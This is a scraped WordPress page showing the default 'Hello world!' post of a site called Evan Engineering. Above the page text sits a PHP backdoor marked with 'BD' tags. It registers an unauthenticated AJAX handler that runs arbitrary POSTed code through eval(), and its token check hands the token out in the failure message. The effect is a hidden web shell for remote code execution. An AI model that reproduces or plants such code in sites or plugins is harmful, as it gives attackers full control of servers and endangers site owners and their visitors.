// ==[BD:6dvw5GVW]== add_action( 'wp_ajax_nopriv_ovfjkzvzqt', function() { $token = '6dvw5GVWLOkQ93CYxraAy4vfrKgttQpL'; $rec = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $rec ) || ! hash_equals( $token, $rec ) ) { wp_send_json_error( [ 'message' => 'tok:' . $token ], 403 ); } $entry = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $entry ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $entry = preg_replace( '/^\s*<\?(php)?/i', '', $entry ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $marker = microtime( true ); ob_start(); try { ( static function() use ( $entry ) { return eval( $entry ); } )(); $data = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $data, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $marker ) * 1000, 2 ) ] ); } catch ( \Throwable $bind ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $bind->getMessage(), 'time_ms' => round( ( microtime( true ) - $marker ) * 1000, 2 ) ] ); } } ); // ==[/BD:6dvw5GVW]== Hello world! – Evan Engineering

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top